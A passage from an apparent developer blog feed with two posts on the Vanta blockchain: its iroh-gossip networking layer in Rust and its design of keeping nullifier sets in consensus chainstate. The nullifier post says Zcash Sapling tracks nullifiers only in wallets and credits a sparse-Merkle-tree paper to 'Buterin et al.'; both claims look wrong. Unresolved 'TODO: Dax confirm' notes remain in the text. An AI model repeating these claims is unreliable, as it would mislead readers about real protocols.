<li><a href="https://github.com/Dax911/vanta/tree/main/vanta-explorer/backend"><code>vanta-explorer/backend</code></a> — the Rust + Axum + SQLite indexer</li>
<li><a href="https://github.com/Dax911/vanta/tree/main/vanta-explorer/web"><code>vanta-explorer/web</code></a> — the React + Vite SPA</li>
<li><a href="https://github.com/Dax911/vanta/tree/main/explorer"><code>explorer/</code></a> — the original patched btc-rpc-explorer</li>
<li><a href="/blog/vanta_zk_privacy_l1/">Vanta: a Bitcoin fork with ZK at consensus</a> — the chain</li>
<li><a href="/blog/vanta_sidecar_architecture/">The vanta sidecar architecture</a> — the L2 the explorer reads from</li>
<li><a href="https://github.com/janoside/btc-rpc-explorer"><code>janoside/btc-rpc-explorer</code></a> — the upstream we forked for phase 1</li>
</ul>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[iroh in production: encrypted-note gossip on a 1-minute-block chain]]></title>
  <id>https://blog.skill-issue.dev/blog/vanta_iroh_gossip_in_production/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/vanta_iroh_gossip_in_production/"/>
  <published>2026-04-13T17:46:02.000Z</published>
  <updated>2026-04-17T05:52:57.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="vanta"/>
  <category term="iroh"/>
  <category term="p2p"/>
  <category term="gossip"/>
  <category term="rust"/>
  <category term="quic"/>
  <category term="l2"/>
  <summary type="html"><![CDATA[Why vanta-node uses iroh-gossip for L2 P2P instead of libp2p, what the topic + ALPN setup actually looks like, the GossipMessage shape, and the saturating-decrement bug that taught me an event ordering lesson.]]></summary>
  <content type="html"><![CDATA[<p>import { Mermaid, Sandbox, TradeoffTable, Quote, Aside } from &quot;@/components/mdx&quot;;</p>
<p>The L2 sidecar <a href="/blog/vanta_sidecar_architecture/">I wrote about previously</a> has four jobs: watch L1, serve a REST API, snapshot state, and gossip with peers. The first three are well-trod tokio-task territory. The fourth is the one that actually matters for L2 decentralisation, because if every peer has to fetch encrypted notes from one REST server, that REST server is a centralisation point, and the privacy chain isn&#39;t really a privacy chain.</p>
<p>This post is the deep dive on the gossip layer specifically. The transport is <a href="https://iroh.computer">iroh.computer</a> — a pure-Rust QUIC stack with an opinionated NAT-traversal story and a built-in gossip protocol that does most of what we need. The integration code lives in <a href="https://github.com/Dax911/vanta/blob/main/vanta/vanta-node/src/gossip.rs"><code>vanta/vanta-node/src/gossip.rs</code></a>, which is where I&#39;d point you to read first if you want the unvarnished version.</p>
<h2>Why iroh</h2>
<p>The architecture doc puts the rationale tersely. From <a href="https://github.com/Dax911/vanta/blob/main/doc/vanta-architecture.md"><code>doc/vanta-architecture.md</code></a>:</p>
<Quote source="doc/vanta-architecture.md">
**P2P:** iroh.computer — pure Rust, QUIC-based, NAT traversal, gossip protocol, content-addressed blobs. Chosen over libp2p for simplicity, built-in QUIC + NAT hole-punching, and document sync (useful for offline branch-and-merge).
</Quote>

<p>That&#39;s the polite version. Let me unpack it with a tradeoff table that does <em>not</em> pull punches.</p>
<p>&lt;TradeoffTable
  caption=&quot;L2 gossip transport options I actually considered&quot;
  rows={[
    {
      option: &quot;iroh.computer (chose this)&quot;,
      cost: &quot;~1.5 MB extra binary; one Rust crate; fixed config&quot;,
      latency: &quot;QUIC, per-stream ordering, hole-punching by default&quot;,
      blast_radius: &quot;Production users at n0-computer; small but active maintainer team&quot;,
      notes: &quot;Pure Rust. NAT-traversal-as-default is the killer feature.&quot;
    },
    {
      option: &quot;libp2p (rust-libp2p)&quot;,
      cost: &quot;Bigger dependency tree, more configuration, more knobs&quot;,
      latency: &quot;Comparable on QUIC transport once configured&quot;,
      blast_radius: &quot;IPFS, Filecoin, Polkadot — battle-tested&quot;,
      notes: &quot;Configuration tax was the killer. We do not need yamux, mplex, mdns, AND noise + tls. We need one of each.&quot;
    },
    {
      option: &quot;Custom yamux-over-QUIC&quot;,
      cost: &quot;Maintenance burden of every NAT-traversal edge case&quot;,
      latency: &quot;Whatever you implement&quot;,
      blast_radius: &quot;Nobody else runs this&quot;,
      notes: &quot;Reinvents NAT traversal. The interns will resent us.&quot;
    },
    {
      option: &quot;NATS or other broker&quot;,
      cost: &quot;A broker. Defeats the entire premise of decentralised L2.&quot;,
      latency: &quot;Fast, but topology-dependent&quot;,
      blast_radius: &quot;Operations matter on a single-binary chain&quot;,
      notes: &quot;Not seriously considered. Listed for completeness.&quot;
    },
  ]}
/&gt;</p>
<p>The &quot;configuration tax&quot; point is the one I want to underline. libp2p is in principle the right answer; we used it on an earlier prototype. The problem was that <em>every</em> libp2p deployment is a snowflake — yamux vs mplex, noise vs tls, mdns vs static seeds, gossipsub v1.0 vs v1.1 — and getting two different libp2p deployments to talk <em>predictably</em> across a real residential-NAT network was a recurring time sink.</p>
<p>iroh ships an opinionated default. There is one transport (QUIC), one ALPN per protocol, and one NAT-traversal story (n0-relay-assisted hole-punching). When it works it works the same way every time. When it fails, the failure modes are bounded and documented.</p>
<h2>Topology</h2>
<p>The Vanta L2 gossip topology is one topic per chain, with content-addressed blob references for any payload that&#39;s too big for the gossip message-size limit (we cap at 64 KB per message, which is enough headroom for a single encrypted note plus headers).</p>
<p>&lt;Mermaid chart={`flowchart LR
  subgraph Chain[&quot;Vanta L2 — single gossip topic&quot;]
    P1[vanta-node #1<br/>Berkeley, CA]
    P2[vanta-node #2<br/>Berlin]
    P3[vanta-node #3<br/>Tokyo]
    P4[Wallet&#39;s embedded<br/>vanta-node]
  end</p>
<p>  P1 &lt;--&gt;|encrypted notes<br/>+ commitments<br/>+ nullifiers| P2
  P2 &lt;--&gt;|gossip| P3
  P3 &lt;--&gt;|gossip| P4
  P1 &lt;--&gt;|hole-punched| P4</p>
<p>  R[(N0 relay)]
  P1 -. relay if<br/>direct fails .-&gt; R
  P4 -. relay if<br/>direct fails .-&gt; R`}/&gt;</p>
<p>Every node joins the same topic. Every message broadcast on that topic ends up at every other peer (eventually — this is gossip, not multicast, so it&#39;s <code>O(log N)</code> hops in expectation). The N0 relays are a fallback for peers behind symmetric NATs or other hole-punching-resistant boundaries; once a direct path is found, the relay drops out.</p>
<p>The topic is a SHA-256 of a fixed string in <a href="https://github.com/Dax911/vanta/blob/main/vanta/vanta-node/src/gossip.rs"><code>gossip.rs:42</code></a>:</p>
<pre><code class="language-rust">fn vanta_topic() -&gt; TopicId {
    use sha2::{Sha256, Digest};
    let mut hasher = Sha256::new();
    hasher.update(b&quot;Vanta/L2/Gossip/v1&quot;);
    let hash = hasher.finalize();
    let mut bytes = [0u8; 32];
    bytes.copy_from_slice(&amp;hash);
    TopicId::from_bytes(bytes)
}
</code></pre>
<p><code>Vanta/L2/Gossip/v1</code>. The <code>v1</code> is intentional: when we ship a breaking change to the message format, we&#39;ll bump to <code>v2</code> and the two networks will simply not see each other. That&#39;s the cleanest cross-version migration story we have, and it&#39;s a single-line change.</p>
<h2>The message shape</h2>
<p>Three message kinds, all bincode-serialised:</p>
<pre><code class="language-rust">#[derive(Debug, Clone, Serialize, Deserialize)]
pub enum GossipMessage {
    NewCommitment { commitment: Hash },
    NullifierRevealed { nullifier: Hash },
    EncryptedNote(EncryptedNote),
}
</code></pre>
<p><code>Hash</code> is a 32-byte alias from <code>vanta_core</code>. <code>EncryptedNote</code> is an opaque ciphertext blob plus a recipient hint that wallets use to do trial-decryption. The ciphertext is encrypted-to-recipient-pubkey using the same envelope scheme <a href="/blog/vanta_l1_nullifier_set/">described in the nullifier-set post</a> — <code>vanta-node</code> cannot decrypt a note even if it tries.</p>
<p>The relevant point is what&#39;s <em>not</em> here. There&#39;s no &quot;request-response&quot; message. There&#39;s no &quot;inventory&quot; or &quot;bloom filter&quot; or pull-based sync. iroh-gossip is broadcast-only; if a peer joins late, they catch up via the L1 watcher (which scans block history) and then receive new state via gossip going forward. Decoupling history-sync from real-time-sync is a simplification: gossip is <em>always</em> real-time, history is <em>always</em> re-derived from L1.</p>
<h2>The send path</h2>
<p>Three small fan-out helpers, one private send method, in <a href="https://github.com/Dax911/vanta/blob/main/vanta/vanta-node/src/gossip.rs"><code>gossip.rs:53</code></a>:</p>
<pre><code class="language-rust">impl GossipHandle {
    pub async fn broadcast_commitment(&amp;self, commitment: Hash) -&gt; Result&lt;()&gt; {
        let msg = GossipMessage::NewCommitment { commitment };
        self.broadcast(&amp;msg).await
    }

    pub async fn broadcast_nullifier(&amp;self, nullifier: Hash) -&gt; Result&lt;()&gt; {
        let msg = GossipMessage::NullifierRevealed { nullifier };
        self.broadcast(&amp;msg).await
    }

    pub async fn broadcast_encrypted_note(&amp;self, enc: EncryptedNote) -&gt; Result&lt;()&gt; {
        let msg = GossipMessage::EncryptedNote(enc);
        self.broadcast(&amp;msg).await
    }

    async fn broadcast(&amp;self, msg: &amp;GossipMessage) -&gt; Result&lt;()&gt; {
        let bytes = bincode::serialize(msg)?;
        self.sender.broadcast(Bytes::from(bytes)).await?;
        Ok(())
    }
}
</code></pre>
<p>The <code>GossipHandle</code> is <code>Clone</code> and gets passed to the API server, the L1 watcher, and the swap module. Whoever has the handle can broadcast. The handle is a wrapper around <code>iroh_gossip::api::GossipSender</code>, which is a tokio-friendly mpsc-style channel into iroh&#39;s outbound queue.</p>
<p><code>bincode::serialize</code> is fine here because the message types are all simple plain-old-data with no <code>#[serde(skip)]</code> or recursion. The deserialization path (next section) is where the gotchas live.</p>
<h2>The receive path</h2>
<p><code>start()</code> in <a href="https://github.com/Dax911/vanta/blob/main/vanta/vanta-node/src/gossip.rs"><code>gossip.rs:88</code></a> is the function that brings up the whole gossip stack. It does five things:</p>
<ol>
<li>Build an <code>Endpoint</code> with the <code>presets::N0</code> relay configuration.</li>
<li>Spawn a <code>Gossip</code> instance with a 64 KB max-message-size.</li>
<li>Wire a <code>Router</code> that accepts inbound gossip connections on the gossip ALPN.</li>
<li>Subscribe to the Vanta topic with the user&#39;s bootstrap peer list.</li>
<li>Spawn a tokio task to drain the inbound stream into <code>apply_gossip_message</code>.</li>
</ol>
<pre><code class="language-rust">let endpoint = Endpoint::builder(presets::N0)
    .bind()
    .await?;

let gossip = Gossip::builder()
    .max_message_size(65536)
    .spawn(endpoint.clone());

let router = Router::builder(endpoint.clone())
    .accept(GOSSIP_ALPN, gossip.clone())
    .spawn();

let topic_id = vanta_topic();
let topic = gossip.subscribe(topic_id, peer_ids).await?;
let (sender, mut receiver) = topic.split();
</code></pre>
<p>The <code>accept(GOSSIP_ALPN, gossip.clone())</code> call is what tells the router &quot;any inbound QUIC connection that negotiates the gossip ALPN gets handed to this Gossip instance.&quot; iroh multiplexes multiple protocols on one endpoint; today we only run gossip, but the same router could in principle accept blob-sync or document-sync ALPNs.</p>
<p>The receive loop calls <code>receiver.try_next()</code> in a tight loop and dispatches each event. There are three event types we care about:</p>
<pre><code class="language-rust">async fn handle_gossip_event(
    state: &amp;L2State,
    peer_counter: &amp;std::sync::Arc&lt;std::sync::atomic::AtomicUsize&gt;,
    event: iroh_gossip::api::Event,
) {
    use std::sync::atomic::Ordering;
    match event {
        iroh_gossip::api::Event::Received(message) =&gt; {
            match bincode::deserialize::&lt;GossipMessage&gt;(&amp;message.content) {
                Ok(msg) =&gt; apply_gossip_message(state, msg),
                Err(e) =&gt; {
                    tracing::debug!(&quot;Failed to deserialize gossip message: {e}&quot;);
                }
            }
        }
        iroh_gossip::api::Event::NeighborUp(peer_id) =&gt; {
            let n = peer_counter.fetch_add(1, Ordering::Relaxed) + 1;
            tracing::info!(&quot;Gossip peer joined: {} (now {n})&quot;, peer_id);
        }
        iroh_gossip::api::Event::NeighborDown(peer_id) =&gt; {
            peer_counter
                .fetch_update(Ordering::Relaxed, Ordering::Relaxed, |v| {
                    Some(v.saturating_sub(1))
                })
                .ok();
            let n = peer_counter.load(Ordering::Relaxed);
            tracing::info!(&quot;Gossip peer left: {} (now {n})&quot;, peer_id);
        }
        _ =&gt; {}
    }
}
</code></pre>
<p>The <code>_ =&gt; {}</code> is loud silence: iroh&#39;s Event enum has more variants than we care about (relay-state changes, lurker-mode signals) and we explicitly ignore them.</p>
<h2>The saturating-decrement gotcha</h2>
<p>The first version of <code>NeighborDown</code> was <code>peer_counter.fetch_sub(1, Ordering::Relaxed)</code>. In a happy path this was fine — every NeighborUp pairs with exactly one NeighborDown, the counter goes up and down, and <code>/status</code> shows the right number.</p>
<p>In the actual iroh deployment, NeighborDown can fire without a corresponding NeighborUp ever having been observed. (Reasons: the event stream can drop messages under backpressure; a peer can be &quot;down&quot; from this node&#39;s perspective before this node has joined the topic enough to consider them &quot;up.&quot;) The bug surfaced as <code>/status</code> returning <code>peer_count: 18446744073709551614</code>. I had wrapped from 0 → <code>usize::MAX - 1</code>. Counting backwards in unsigned arithmetic is a strict no.</p>
<p>The fix is the <code>fetch_update</code> + <code>saturating_sub</code> pattern in the snippet above. It&#39;s slower than a single atomic op (it&#39;s a CAS loop) but it&#39;s load-bearingly correct: the counter never goes negative, and on the rare double-down-without-up the counter just stays at its current value.</p>
<p>This is the kind of thing you don&#39;t notice until production. <strong>TODO: Dax confirm we want to ship <code>peer_count</code> over <code>/status</code> as a <code>u32</code> and saturate there too</strong> — even with the in-memory fix, a 64-bit counter shipped to a frontend could in principle overflow JavaScript&#39;s <code>Number.MAX_SAFE_INTEGER</code> if something ever went really wrong upstream.</p>
<h2>A toy iroh-shape demo</h2>
<p>We can&#39;t actually run iroh in a Sandbox — iroh isn&#39;t WASM-portable, and it wants real UDP sockets. But we <em>can</em> simulate the message-flow shape in plain Node, which is sometimes useful for understanding the topology when you read the Rust code.</p>
<p>&lt;Sandbox
  template=&quot;node&quot;
  title=&quot;iroh-shape gossip demo&quot;
  files={{
    &quot;/index.js&quot;: `// Simulate iroh-gossip&#39;s broadcast topology.
// Three peers, one topic, encrypted notes flow between all of them.
// Real iroh would use QUIC + NAT traversal; here we use plain Node IPC.</p>
<p>class Peer {
  constructor(name) {
    this.name = name;
    this.peers = new Set();
    this.seen = new Set();
  }
  connect(other) { this.peers.add(other); other.peers.add(this); }
  broadcast(msg) {
    this.seen.add(msg.id);
    for (const p of this.peers) {
      if (!p.seen.has(msg.id)) {
        console.log(`  ${this.name} -&gt; ${p.name}: ${msg.kind} ${msg.id}`);
        p.broadcast(msg); // recursive flood — gossip is O(log N) in practice
      }
    }
  }
}</p>
<p>const a = new Peer(&quot;A&quot;);
const b = new Peer(&quot;B&quot;);
const c = new Peer(&quot;C&quot;);
a.connect(b);
b.connect(c); // A is not directly connected to C</p>
<p>console.log(&quot;A broadcasts NewCommitment(0xdeadbeef)&quot;);
a.broadcast({ id: &quot;0xdeadbeef&quot;, kind: &quot;NewCommitment&quot; });</p>
<p>console.log(&quot;\nC broadcasts EncryptedNote(0xcafebabe)&quot;);
c.broadcast({ id: &quot;0xcafebabe&quot;, kind: &quot;EncryptedNote&quot; });</p>
<p>console.log(&quot;\nFinal seen sets:&quot;);
for (const p of [a, b, c]) {
  console.log(`  ${p.name}: [${[...p.seen].join(&quot;, &quot;)}]`);
}
<code>,     &quot;/package.json&quot;: </code>{
  &quot;name&quot;: &quot;iroh-shape-demo&quot;,
  &quot;version&quot;: &quot;1.0.0&quot;,
  &quot;main&quot;: &quot;index.js&quot;
}
`,
  }}
/&gt;</p>
<p>This is the <em>shape</em> of gossip flooding. iroh&#39;s actual implementation uses HyParView + Plumtree — more sophisticated, with eager-push trees and lazy-pull repair — but the user-facing semantic is the same: broadcast on a topic, every peer eventually sees the message, exactly once.</p>
<h2>Encrypted notes specifically</h2>
<p>The largest message type, <code>EncryptedNote</code>, is what wallets actually consume. The flow is:</p>
<ol>
<li>Sender&#39;s wallet generates a shielded transaction. Part of the witness is an encrypted ciphertext addressed to the recipient&#39;s pubkey.</li>
<li>Sender&#39;s <code>vanta-node</code> (via the desktop app) calls <code>broadcast_encrypted_note(ciphertext)</code>.</li>
<li>iroh-gossip floods every peer in the topic. Every L2 node — including the recipient&#39;s — has the ciphertext in memory.</li>
<li>The recipient&#39;s wallet calls <code>/notes/scan</code> against its local <code>vanta-node</code>, which trial-decrypts every recently-seen ciphertext against the wallet&#39;s secret key.</li>
<li>If a trial decryption succeeds, the wallet has detected a payment.</li>
</ol>
<p>There is no &quot;addressing.&quot; There is no &quot;the recipient asks for their notes.&quot; Every peer has every note. Each peer&#39;s wallet decides which notes are theirs by trying to decrypt. This is the same architectural pattern Zcash sapling uses — a public ciphertext stream with private addressability — and it&#39;s why the gossip layer can be totally untrusted: peers see ciphertexts, recipients see plaintext.</p>
<Aside kind="note">
The 64 KB max-message-size is what bounds the encrypted-note size. Right now we're under 1 KB per note. If shielded contracts ship with larger encrypted payloads we'll switch to iroh's blob protocol — content-addressed, fetched on demand — and gossip just the blob hash. That's why `EncryptedNote` is a blob in the message and not a hash; we've got the headroom to inline today.
</Aside>

<h2>What&#39;s not in this implementation</h2>
<p>A few things to flag, both for honesty and for the next person to read this.</p>
<p><strong>No gossip-layer backpressure.</strong> If a peer publishes 10,000 encrypted notes in a second, every other peer&#39;s tokio task for the receive loop has to deserialize all of them. There&#39;s no rate limit, no back-off, no &quot;too many pending events&quot; exception. This is fine on a 1-minute-block chain where the pool&#39;s submission rate is bounded, but it would be a real problem on a 250 ms-block chain.</p>
<p><strong>No peer reputation.</strong> Every peer is equal. A misbehaving peer (sending malformed messages, spamming) is just ignored on a per-message basis. We don&#39;t disconnect them, ban them, or de-prefer them in routing. iroh has the primitives (<code>endpoint.close_peer</code>) but we don&#39;t use them.</p>
<p><strong>No persistence across restarts.</strong> When <code>vanta-node</code> restarts, it forgets every peer it had ever seen and re-bootstraps from the static seed list. This costs ~2 seconds on warm starts. The L1 watcher catches state up from chain history regardless, so this isn&#39;t a correctness concern, but a peer cache would shave the startup window.</p>
<p><strong>No multi-topic.</strong> All Vanta nodes are on one topic. We&#39;ll need at least mainnet/testnet split when there&#39;s a testnet to speak of; right now the topic is <code>Vanta/L2/Gossip/v1</code> and that&#39;s literally the only topic that exists. <strong>TODO: Dax confirm we add <code>Vanta/L2/Gossip/regtest</code> when the regtest deploy lands.</strong></p>
<h2>What I changed my mind about</h2>
<p>I&#39;d been libp2p-curious for a long time. The crate is mature, it&#39;s used by IPFS and Polkadot, the docs are pretty good. I started the Vanta L2 with a libp2p prototype and it worked.</p>
<p>Two things made me switch.</p>
<p><strong>The configuration burden is per-developer.</strong> Every new contributor who touches <code>vanta-node</code> would need to internalise the libp2p configuration matrix (or worse: would copy-paste it from somewhere and not understand what they were copying). iroh&#39;s <code>presets::N0</code> is a single import. The cognitive load is bounded.</p>
<p><strong>NAT traversal is solved-default.</strong> libp2p&#39;s NAT traversal is a la carte: configure DCUtR, configure STUN, configure relays. iroh&#39;s is built in. On a privacy chain whose users include anyone with a residential ISP, NAT traversal is not optional and the failure mode (peer can&#39;t be reached) cascades into &quot;wallet stuck waiting for sync.&quot; Defaulting it on saved a class of bug I was tired of debugging.</p>
<p>The cost of the switch was about a week of integration work. I&#39;d take that trade every time. iroh has bugs (the saturating-decrement story above is one of mine), but they&#39;re bugs at a scope I can hold in my head.</p>
<h2>Further reading</h2>
<ul>
<li><a href="https://github.com/Dax911/vanta/blob/main/vanta/vanta-node/src/gossip.rs"><code>vanta/vanta-node/src/gossip.rs</code></a> — the file this post walks</li>
<li><a href="https://github.com/Dax911/vanta/blob/main/doc/vanta-architecture.md"><code>doc/vanta-architecture.md</code></a> — the rationale for picking iroh</li>
<li><a href="https://iroh.computer">iroh.computer</a> — the upstream project</li>
<li><a href="https://docs.rs/iroh-gossip">iroh-gossip on docs.rs</a> — the crate API</li>
<li><a href="/blog/vanta_sidecar_architecture/">The vanta sidecar architecture</a> — the daemon this gossip layer lives inside</li>
<li><a href="/blog/cruiser_iroh_gossip_p2p/">Cruiser: A Tauri Hookup App on iroh</a> — how the same primitives ship in a different product</li>
</ul>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[L1 nullifier sets: enforcing no-double-spend at consensus]]></title>
  <id>https://blog.skill-issue.dev/blog/vanta_l1_nullifier_set/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/vanta_l1_nullifier_set/"/>
  <published>2026-04-17T05:52:57.000Z</published>
  <updated>2026-04-17T05:52:57.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="vanta"/>
  <category term="zk"/>
  <category term="nullifier"/>
  <category term="consensus"/>
  <category term="bitcoin"/>
  <category term="utxo"/>
  <summary type="html"><![CDATA[Most privacy chains track spent notes in a wallet-side index and pray. Vanta puts the nullifier set in chainstate and lets the consensus rules do the praying. Here's why that line moved, and what it costs.]]></summary>
  <content type="html"><![CDATA[<p>This is a follow-up to <a href="/blog/vanta_zk_privacy_l1/">Vanta: a Bitcoin fork with ZK at consensus</a> and a sibling to <a href="/blog/nullifiers_without_witchcraft/">Nullifiers without the witchcraft</a>. The first post explains the chain. The second explains what nullifiers <em>are</em>. This one is about a deliberate, opinionated design decision: <strong>nullifiers in Vanta live at consensus, not at the wallet.</strong></p>
<p>I want to walk through what that means, what alternatives we considered, what it costs, and why the cost is worth paying.</p>
<h2>The problem statement</h2>
<p>In a shielded UTXO model, every spent note has a deterministic, single-use <strong>nullifier</strong> — a hash that proves to a verifier <em>&quot;some unspent note has been consumed&quot;</em> without revealing <em>which</em> one. The classic Zcash construction is roughly <code>Poseidon(note_secret_key, commitment)</code>. The same secret + the same commitment always produces the same nullifier; revealing it twice means two spends of the same note.</p>
<p>The verifier needs to know the global set of nullifiers ever revealed. If the same nullifier appears twice, one of the two spends is invalid. That&#39;s how double-spend is detected.</p>
<p>The question every chain has to answer: <em>where does that nullifier set live?</em></p>
<h2>Three answers</h2>
<h3>Answer 1 — wallet-side index</h3>
<p>The <a href="https://zips.z.cash/protocol/protocol.pdf">original Zcash sapling protocol</a> materialises the nullifier set client-side. Every wallet trying to spend reads the chain, builds a local nullifier set, and refuses to construct a transaction whose nullifier already appears.</p>
<p>This works. It&#39;s also fragile in a way that always made me uncomfortable. A wallet bug — or a malicious wallet — can construct a transaction whose nullifier matches a previous one. The transaction is <em>valid by chain rules</em> until the second spend is mined; only then do nodes notice. In practice this means a brief reorg window where a double-spend is technically possible.</p>
<p>It also means <strong>node operators can&#39;t run a privacy chain without the wallet code.</strong> That&#39;s a sociological problem more than a technical one, but it&#39;s real.</p>
<h3>Answer 2 — separate nullifier-tracking smart contract / sidechain</h3>
<p>The Tornado-Cash-on-Ethereum approach. The nullifier set lives in a smart contract. The contract enforces uniqueness as a side effect of every withdraw. The chain itself doesn&#39;t know what nullifiers are — it just runs the contract.</p>
<p>This works on Ethereum because Ethereum has expressive smart contracts that can hold and mutate large state cheaply (relative to L1 gas). It&#39;s a non-starter on a Bitcoin-fork chain because Bitcoin Script doesn&#39;t have arbitrary stateful contracts. You could put a precompile in. We didn&#39;t want to.</p>
<h3>Answer 3 — chainstate</h3>
<p>The nullifier set lives in the same database the UTXO set lives in. Validating a block means <em>(a)</em> checking script signatures, <em>(b)</em> checking the witness ZK proofs, <em>(c)</em> checking that no two spent nullifiers in this block (or this block + history) collide. Nodes that don&#39;t enforce nullifier-uniqueness reject blocks the network considers valid. They literally cannot stay in sync.</p>
<p>This is what Vanta does.</p>
<h2>Why we picked answer 3</h2>
<p>Three reasons.</p>
<h3>Soundness</h3>
<p>A nullifier collision in chainstate is a <em>consensus violation,</em> not a wallet bug. There is no version of the network where the double-spend is &quot;valid for a few blocks until someone notices.&quot; Either the block is valid or it&#39;s not. The confidence story is the same as Bitcoin&#39;s UTXO model: a confirmed transaction is final under the same assumptions every other Bitcoin transaction is final under.</p>
<p>This matters for an audience that already understands Bitcoin&#39;s finality assumptions. We did not want to introduce a <em>new</em> set of finality caveats for the privacy layer.</p>
<h3>Operator simplicity</h3>
<p>A node operator running <code>vantad</code> doesn&#39;t need to also run wallet software, doesn&#39;t need to trust an indexer, doesn&#39;t need to subscribe to a third-party &quot;nullifier feed.&quot; The chain validates itself. This is the same reason most exchanges run their own Bitcoin nodes instead of trusting Blockchain.info: chainstate is the source of truth.</p>
<h3>Wallet flexibility</h3>
<p>If the chain owns nullifier-uniqueness, wallets become <em>commodity software.</em> You can have ten different wallets, three different proof systems, an iOS-native client, a CLI, a hardware-wallet integration — and they all rely on the same chainstate validation. The wallet&#39;s job collapses to &quot;construct a valid spending transaction.&quot; The chain is the arbiter.</p>
<h2>What it costs</h2>
<p>Nothing is free. Three real costs:</p>
<h3>Storage</h3>
<p>Every nullifier ever revealed has to live in chainstate forever. With Poseidon-2 over BN254 the digest is 32 bytes. Vanta is a 1-minute-block chain with 100k VANTA per block; assume a long-term steady state of, say, 5 nullifiers per block (transparent transactions don&#39;t burn nullifiers; only shielded spends do). At ~525,600 blocks per year, that&#39;s <code>5 × 525600 × 32 = ~84 MB</code> of nullifier state per year. After ten years: ~840 MB.</p>
<p>Compare to Bitcoin&#39;s UTXO set, which is currently ~12 GB. We&#39;re well below it. Storage is not the limiting factor.</p>
<h3>Sync time</h3>
<p>A new node has to download and verify the nullifier history. The verification cost is just a hash check per nullifier (no proof re-verification needed if the block was already validated by the network — the witness root in the coinbase commits to the SMT). At a few microseconds per hash, ten years of history validates in ~half an hour on a modern CPU. Acceptable.</p>
<h3>Sparse-Merkle-tree maintenance</h3>
<p>This is the real cost. We commit to the <em>root</em> of the nullifier set in every coinbase, so that light clients and SPV-style verifiers don&#39;t need the full chainstate to verify a proof. Maintaining an SMT over a growing set of 32-byte hashes is non-trivial. We use the <a href="https://crates.io/crates/smirk"><code>smirk</code> Rust crate</a> (an SMT library written for exactly this kind of consensus-state use case) and the marginal cost per insert is <code>O(log n)</code> hashes — a few hundred microseconds in practice.</p>
<p>The implementation lives in <a href="https://github.com/Dax911/vanta/tree/main/vanta"><code>vanta/</code> (the Rust subtree)</a> and the binding into the C++ core happens in <code>src/validation.cpp</code> via FFI. <strong>TODO: Dax confirm exact SMT crate name</strong> — <code>smirk</code> is what we use today; if we switched to a custom implementation note that here.</p>
<h2>The witness-v2 dance</h2>
<p>Here&#39;s the part that took me longest to get comfortable with. Bitcoin&#39;s witness data (segwit) is verified after the script. We needed the ZK proof to be verified after the script too — the script confirms the spender knows the right commitment, the proof confirms the spend is valid under the rules of the shielded pool.</p>
<p>Vanta extends segwit to a &quot;witness v2&quot; format that includes:</p>
<ol>
<li>The classic script witness (signatures, etc.).</li>
<li>A new <code>proof_root</code> field — a 32-byte commitment to the proof&#39;s public inputs.</li>
<li>A new <code>nullifier</code> field — the 32-byte nullifier the spend is consuming.</li>
</ol>
<p>The C++ validator does three checks in order:</p>
<ol>
<li>The script verifies (standard segwit path).</li>
<li>The <code>nullifier</code> is not already in the chainstate nullifier set.</li>
<li>The <code>proof_root</code> matches the in-block coinbase&#39;s SMT root for this transaction&#39;s logical position.</li>
</ol>
<p>The actual ZK proof verification happens <strong>out of process</strong> in the Rust sidecar. The C++ node fires off the proof to a local Unix socket and waits for <code>ok</code> or <code>not ok</code>. This sounds slow but in practice the prover-side work is what&#39;s expensive (4-8 seconds); the verifier-side check is ~30 milliseconds and well-amortised across the block.</p>
<p>If the sidecar is unavailable, the node refuses to validate witness-v2 transactions and stays in IBD-style &quot;I&#39;m not caught up&quot; mode. Better than silently accepting unverified shielded spends.</p>
<h2>What I changed my mind about</h2>
<p>I started this design wanting to put proof verification <em>inside</em> the C++ validator via a precompile-style C++ binding. That would have meant linking the entire <code>risc0-zkvm</code> Rust crate into Bitcoin Core&#39;s C++ build, which is — to put it mildly — not a small ask of a Bitcoin Core review process.</p>
<p>The out-of-process sidecar pattern was a concession to &quot;we will eventually want to upstream as much of this as possible.&quot; A node that talks to a sidecar over a Unix socket is a node that can be ported to the eventual full-Rust rewrite without changing its consensus contract. The sidecar is the ABI; the language behind it can move.</p>
<p>I&#39;m still not 100% sold on this trade. The audit surface is a lot bigger when there are two processes. <strong>TODO: Dax confirm whether we end up upstreaming the proof verifier into the core process for v2.</strong></p>
<h2>Further reading</h2>
<ul>
<li><a href="https://github.com/Dax911/vanta"><code>Dax911/vanta</code></a> — the chain</li>
<li><a href="https://github.com/Dax911/vanta/tree/main/vanta"><code>vanta/</code> Rust subtree</a> — the ZK sidecar</li>
<li><a href="/blog/vanta_zk_privacy_l1/">Vanta: a Bitcoin fork with ZK at consensus</a> — the parent post</li>
<li><a href="/blog/nullifiers_without_witchcraft/">Nullifiers without the witchcraft</a> — the SDK-side primitive</li>
<li><a href="/blog/pedersen_commitments_in_production/">Pedersen commitments, in production</a> — what the commitments commit to</li>
<li>Hopwood, Bowe, Hornby, Wilcox — <em>Zcash Protocol Specification</em> (2022 edition)</li>
<li>Buterin et al. — <a href="https://eprint.iacr.org/2016/683"><em>Sparse Merkle Trees</em></a></li>
</ul>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[What's in vanta/papers — reading 17 design docs in 2026]]></title>
  <id>https://blog.skill-issue.dev/blog/vanta_papers_design_doc_tour/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/vanta_papers_design_doc_tour/"/>
  <published>2026-04-14T19:50:56.000Z</published>
  <updated>2026-04-17T05:52:57.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="vanta"/>
  <category term="documentation"/>
  <category term="whitepaper"/>
  <category term="design"/>
  <summary type="html"><![CDATA[Vanta ships its whitepaper as 17 markdown files in the repo, not a PDF on a marketing page. This is the tour: what each doc covers, which one has the wording bug, and why the docs live next to the code.]]></summary>
